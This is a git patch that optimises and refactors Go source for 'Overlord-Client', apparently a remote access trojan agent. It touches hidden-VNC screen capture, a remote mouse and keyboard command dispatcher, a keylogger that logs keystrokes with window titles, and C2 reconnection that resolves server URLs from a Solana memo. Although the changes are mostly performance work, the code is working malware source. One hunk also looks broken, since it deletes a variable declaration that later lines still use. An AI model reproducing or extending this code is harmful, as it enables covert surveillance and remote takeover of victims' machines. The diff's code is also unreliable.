From bd47b233d62320a7b4d6c6bd352c3f58611c09a2 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 21 May 2026 23:28:06 -0500 Subject: [PATCH] optimizations + clean some code --- Overlord-Client/cmd/agent/capture/capture.go | 167 ++++++++++++------ Overlord-Client/cmd/agent/capture/jpeg_std.go | 12 ++ .../cmd/agent/capture/jpeg_turbo.go | 9 + Overlord-Client/cmd/agent/capture/rgbapool.go | 3 +- .../cmd/agent/handlers/dispatcher.go | 28 ++- .../cmd/agent/keylogger/keylogger.go | 33 ++-- Overlord-Client/cmd/agent/session.go | 57 +++--- 7 files changed, 189 insertions(+), 120 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index cafa37d..d67a651 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -3,7 +3,6 @@ package capture import ( "bytes" "context" - "encoding/binary" "errors" "image" "image/draw" @@ -798,6 +797,28 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time type streamRegion struct{ x, y, w, h int } +type encodeBufs struct { + changedGrid []bool + visited []bool +} + +var ( + encodeBufsPool = sync.Pool{New: func() interface{} { return &encodeBufs{} }} + frameBufPool = sync.Pool{New: func() interface{} { return bytes.NewBuffer(make([]byte, 0, 512*1024)) }} +) + +func writeUint16LE(buf *bytes.Buffer, v uint16) { + buf.WriteByte(byte(v)) + buf.WriteByte(byte(v >> 8)) +} + +func writeUint32LE(buf *bytes.Buffer, v uint32) { + buf.WriteByte(byte(v)) + buf.WriteByte(byte(v >> 8)) + buf.WriteByte(byte(v >> 16)) + buf.WriteByte(byte(v >> 24)) +} + type roiHint struct { rect image.Rectangle weight int @@ -812,7 +833,21 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d blocksWide := (width + blockSize - 1) / blockSize blocksHigh := (height + blockSize - 1) / blockSize - changedGrid := make([]bool, blocksWide*blocksHigh) + + total := blocksWide * blocksHigh + eb := encodeBufsPool.Get().(*encodeBufs) + defer encodeBufsPool.Put(eb) + if cap(eb.changedGrid) < total { + eb.changedGrid = make([]bool, total) + eb.visited = make([]bool, total) + } else { + eb.changedGrid = eb.changedGrid[:total] + eb.visited = eb.visited[:total] + clear(eb.changedGrid) + clear(eb.visited) + } + changedGrid := eb.changedGrid + visited := eb.visited changedCount := 0 passDetectStart := time.Now() @@ -843,17 +878,11 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) if changedCount == 0 { - buf := bytes.Buffer{} - _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) - return 0, buf.Bytes(), 0, nil + return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil } mergeStart := time.Now() var regions []streamRegion - visited := make([]bool, len(changedGrid)) for by := 0; by < blocksHigh; by++ { for bx := 0; bx < blocksWide; bx++ { @@ -926,39 +955,50 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) - buf := bytes.Buffer{} - _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions))) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + buf := frameBufPool.Get().(*bytes.Buffer) + buf.Reset() + defer frameBufPool.Put(buf) + + writeUint16LE(buf, uint16(width)) + writeUint16LE(buf, uint16(height)) + writeUint16LE(buf, uint16(len(regions))) + writeUint16LE(buf, 0) totalEncDur := time.Duration(0) for _, r := range regions { t0 := time.Now() - var payload []byte - var err error + writeUint16LE(buf, uint16(r.x)) + writeUint16LE(buf, uint16(r.y)) + writeUint16LE(buf, uint16(r.w)) + writeUint16LE(buf, uint16(r.h)) + var encErr error if codec == "raw" { - payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) + payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h) + writeUint32LE(buf, uint32(len(payload))) + buf.Write(payload) } else { - blockQuality := quality + 10 if blockQuality > 100 { blockQuality = 100 } - payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) + lenPos := buf.Len() + writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size + encErr = encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) + if encErr == nil { + jpegLen := uint32(buf.Len() - lenPos - 4) + b := buf.Bytes() + b[lenPos] = byte(jpegLen) + b[lenPos+1] = byte(jpegLen >> 8) + b[lenPos+2] = byte(jpegLen >> 16) + b[lenPos+3] = byte(jpegLen >> 24) + } } blockDur := time.Since(t0) totalEncDur += blockDur statBlkJpegNs.Add(blockDur.Nanoseconds()) - if err != nil { - return len(regions), nil, totalEncDur, err + if encErr != nil { + return len(regions), nil, totalEncDur, encErr } - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h)) - _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload))) - buf.Write(payload) } prevCopyStart := time.Now() @@ -967,7 +1007,9 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d prevMu.Unlock() statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) - return len(regions), buf.Bytes(), totalEncDur, nil + out := make([]byte, buf.Len()) + copy(out, buf.Bytes()) + return len(regions), out, totalEncDur, nil } func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { @@ -1152,7 +1194,21 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin blocksWide := (width + blockSize - 1) / blockSize blocksHigh := (height + blockSize - 1) / blockSize - changedGrid := make([]bool, blocksWide*blocksHigh) + + total := blocksWide * blocksHigh + eb := encodeBufsPool.Get().(*encodeBufs) + defer encodeBufsPool.Put(eb) + if cap(eb.changedGrid) < total { + eb.changedGrid = make([]bool, total) + eb.visited = make([]bool, total) + } else { + eb.changedGrid = eb.changedGrid[:total] + eb.visited = eb.visited[:total] + clear(eb.changedGrid) + clear(eb.visited) + } + changedGrid := eb.changedGrid + visited := eb.visited changedCount := 0 passDetectStart := time.Now() @@ -1179,17 +1235,11 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) if changedCount == 0 { - buf := bytes.Buffer{} - _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) - return 0, buf.Bytes(), 0, nil + return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil } mergeStart := time.Now() var regions []streamRegion - visited := make([]bool, len(changedGrid)) for by := 0; by < blocksHigh; by++ { for bx := 0; bx < blocksWide; bx++ { @@ -1261,37 +1311,44 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin sortRegionsByROI(regions, rois) statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) - buf := bytes.Buffer{} - _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions))) - _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + buf := frameBufPool.Get().(*bytes.Buffer) + buf.Reset() + defer frameBufPool.Put(buf) + + writeUint16LE(buf, uint16(width)) + writeUint16LE(buf, uint16(height)) + writeUint16LE(buf, uint16(len(regions))) + writeUint16LE(buf, 0) totalEncDur := time.Duration(0) for _, r := range regions { encStart := time.Now() - var payload []byte - var err error + writeUint16LE(buf, uint16(r.x)) + writeUint16LE(buf, uint16(r.y)) + writeUint16LE(buf, uint16(r.w)) + writeUint16LE(buf, uint16(r.h)) if codec == "raw" { - payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) + payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h) + writeUint32LE(buf, uint32(len(payload))) + buf.Write(payload) } else { blockQuality := quality + 10 if blockQuality > 100 { blockQuality = 100 } - payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) - if err != nil { + lenPos := buf.Len() + writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size + if err := encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality); err != nil { return 0, nil, 0, err } + jpegLen := uint32(buf.Len() - lenPos - 4) + b := buf.Bytes() + b[lenPos] = byte(jpegLen) + b[lenPos+1] = byte(jpegLen >> 8) + b[lenPos+2] = byte(jpegLen >> 16) + b[lenPos+3] = byte(jpegLen >> 24) } totalEncDur += time.Since(encStart) - - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w)) - _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h)) - _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload))) - buf.Write(payload) } prevCopyStart := time.Now() @@ -1300,7 +1357,9 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin prevMu.Unlock() statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) - return len(regions), buf.Bytes(), totalEncDur, nil + out := make([]byte, buf.Len()) + copy(out, buf.Bytes()) + return len(regions), out, totalEncDur, nil } func copyPrev(img *image.RGBA) { diff --git a/Overlord-Client/cmd/agent/capture/jpeg_std.go b/Overlord-Client/cmd/agent/capture/jpeg_std.go index 524b474..27fd24c 100644 --- a/Overlord-Client/cmd/agent/capture/jpeg_std.go +++ b/Overlord-Client/cmd/agent/capture/jpeg_std.go @@ -27,3 +27,15 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) { jpegBufPool.Put(buf) return out, nil } + +func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error { + buf := jpegBufPool.Get().(*bytes.Buffer) + buf.Reset() + if err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality}); err != nil { + jpegBufPool.Put(buf) + return err + } + dst.Write(buf.Bytes()) + jpegBufPool.Put(buf) + return nil +} diff --git a/Overlord-Client/cmd/agent/capture/jpeg_turbo.go b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go index e9aeb79..f987314 100644 --- a/Overlord-Client/cmd/agent/capture/jpeg_turbo.go +++ b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go @@ -21,3 +21,12 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) { } return buf.Bytes(), nil } + +func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error { + opts := &ljpeg.EncoderOptions{ + Quality: quality, + OptimizeCoding: true, + DCTMethod: ljpeg.DCTISlow, + } + return ljpeg.Encode(dst, img, opts) +} diff --git a/Overlord-Client/cmd/agent/capture/rgbapool.go b/Overlord-Client/cmd/agent/capture/rgbapool.go index 9bada99..aafc553 100644 --- a/Overlord-Client/cmd/agent/capture/rgbapool.go +++ b/Overlord-Client/cmd/agent/capture/rgbapool.go @@ -13,8 +13,7 @@ func GetRGBA(w, h int) *image.RGBA { return image.NewRGBA(image.Rect(0, 0, w, h)) } if v := rgbaPool.Get(); v != nil { - buf := v.([]byte) - if cap(buf) >= need { + if buf, ok := v.([]byte); ok && cap(buf) >= need { return &image.RGBA{ Pix: buf[:need], Stride: w * 4, diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go index ab159c8..6af0837 100644 --- a/Overlord-Client/cmd/agent/handlers/dispatcher.go +++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go @@ -4,6 +4,7 @@ import ( "context" "fmt" "log" + "maps" "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/runtime" @@ -25,10 +26,9 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface } }() - msgTypeRaw := envelope["type"] - msgType, _ := msgTypeRaw.(string) - if msgType == "" { - log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope)) + msgType, ok := envelope["type"].(string) + if !ok || msgType == "" { + log.Printf("dispatcher: missing type (keys=%v)", maps.Keys(envelope)) return nil } switch msgType { @@ -43,12 +43,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface return nil case "command": cmdType, _ := envelope["commandType"].(string) - switch cmdType { - case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel", - "desktop_key_down", "desktop_key_up", "desktop_text", - "hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up", - "hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up": - default: + if !isInputCommand(cmdType) { log.Printf("dispatcher: handling command type=%s", cmdType) } return HandleCommand(ctx, d.Env, envelope) @@ -72,10 +67,13 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface } } -func envelopeKeys(envelope map[string]interface{}) []string { - keys := make([]string, 0, len(envelope)) - for key := range envelope { - keys = append(keys, key) +func isInputCommand(cmdType string) bool { + switch cmdType { + case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel", + "desktop_key_down", "desktop_key_up", "desktop_text", + "hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up", + "hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up": + return true } - return keys + return false } diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger.go b/Overlord-Client/cmd/agent/keylogger/keylogger.go index 993cc59..78c73a8 100644 --- a/Overlord-Client/cmd/agent/keylogger/keylogger.go +++ b/Overlord-Client/cmd/agent/keylogger/keylogger.go @@ -369,9 +369,9 @@ func (k *Keylogger) logKey(key string) { k.currentWindowTitle = windowTitle } if k.currentWindowTitle != "" { - k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle)) + fmt.Fprintf(&k.buffer, "[%s] [%s] ", timestamp, k.currentWindowTitle) } else { - k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp)) + fmt.Fprintf(&k.buffer, "[%s] ", timestamp) } k.lineStarted = true } @@ -384,19 +384,24 @@ func (k *Keylogger) logKey(key string) { } } -func rot13(s string) string { - var result strings.Builder - for _, r := range s { - switch { - case r >= 'a' && r <= 'z': - result.WriteRune('a' + (r-'a'+13)%26) - case r >= 'A' && r <= 'Z': - result.WriteRune('A' + (r-'A'+13)%26) - default: - result.WriteRune(r) - } +var rot13Table = func() [256]byte { + var t [256]byte + for i := range t { + t[i] = byte(i) } - return result.String() + for i := 0; i < 26; i++ { + t['a'+i] = byte('a' + (i+13)%26) + t['A'+i] = byte('A' + (i+13)%26) + } + return t +}() + +func rot13(s string) string { + b := []byte(s) + for i, c := range b { + b[i] = rot13Table[c] + } + return string(b) } func getTempDir() string { diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index d2ece55..21c56de 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -14,6 +14,7 @@ import ( "os" "runtime" "runtime/debug" + "slices" "strconv" "strings" "time" @@ -87,17 +88,9 @@ func runClient(cfg config.Config) { } if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { - if refreshServerList(&cfg) { - lastSolRefresh = time.Now() - currentIndex = 0 - consecutiveFailures = 0 - } - } - - if len(cfg.ServerURLs) > 1 { - currentIndex = (currentIndex + 1) % len(cfg.ServerURLs) - log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex]) + tryRefreshServerList(&cfg, &lastSolRefresh, ¤tIndex, &consecutiveFailures) } + rotateToNextServer(¤tIndex, cfg.ServerURLs) time.Sleep(backoff) cancel() @@ -134,17 +127,9 @@ func runClient(cfg config.Config) { lastDisconnect = time.Now() if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) { - if refreshServerList(&cfg) { - lastSolRefresh = time.Now() - currentIndex = 0 - consecutiveFailures = 0 - } - } - - if len(cfg.ServerURLs) > 1 { - currentIndex = (currentIndex + 1) % len(cfg.ServerURLs) - log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex]) + tryRefreshServerList(&cfg, &lastSolRefresh, ¤tIndex, &consecutiveFailures) } + rotateToNextServer(¤tIndex, cfg.ServerURLs) } sleepFor := backoff @@ -162,6 +147,21 @@ func runClient(cfg config.Config) { } } +func rotateToNextServer(currentIndex *int, urls []string) { + if len(urls) > 1 { + *currentIndex = (*currentIndex + 1) % len(urls) + log.Printf("switching to next server [%d/%d]: %s", *currentIndex+1, len(urls), urls[*currentIndex]) + } +} + +func tryRefreshServerList(cfg *config.Config, lastSolRefresh *time.Time, currentIndex *int, consecutiveFailures *int) { + if refreshServerList(cfg) { + *lastSolRefresh = time.Now() + *currentIndex = 0 + *consecutiveFailures = 0 + } +} + func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions { headers := http.Header{} if token := strings.TrimSpace(cfg.AgentToken); token != "" { @@ -268,7 +268,7 @@ func refreshServerURLsFromSolana(cfg *config.Config) bool { log.Printf("[config] WARNING: Solana memo returned no valid URLs") return false } - if !equalStringSlices(cfg.ServerURLs, urls) { + if !slices.Equal(cfg.ServerURLs, urls) { log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls)) cfg.ServerURLs = urls } @@ -287,24 +287,13 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool { return false } - if !equalStringSlices(cfg.ServerURLs, urls) { + if !slices.Equal(cfg.ServerURLs, urls) { log.Printf("[config] refreshed raw server list (%d servers)", len(urls)) cfg.ServerURLs = urls } return true } -func equalStringSlices(a, b []string) bool { - if len(a) != len(b) { - return false - } - for i := range a { - if a[i] != b[i] { - return false - } - } - return true -} func createHTTPTransport(cfg config.Config) *http.Transport { tlsConfig := &tls.Config{ @@ -389,8 +378,6 @@ func classifyDialError(err error) string { } func computeBaseBackoff() time.Duration { - mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE"))) - _ = mode return randomReconnectDelay(10*time.Second, 30*time.Second) }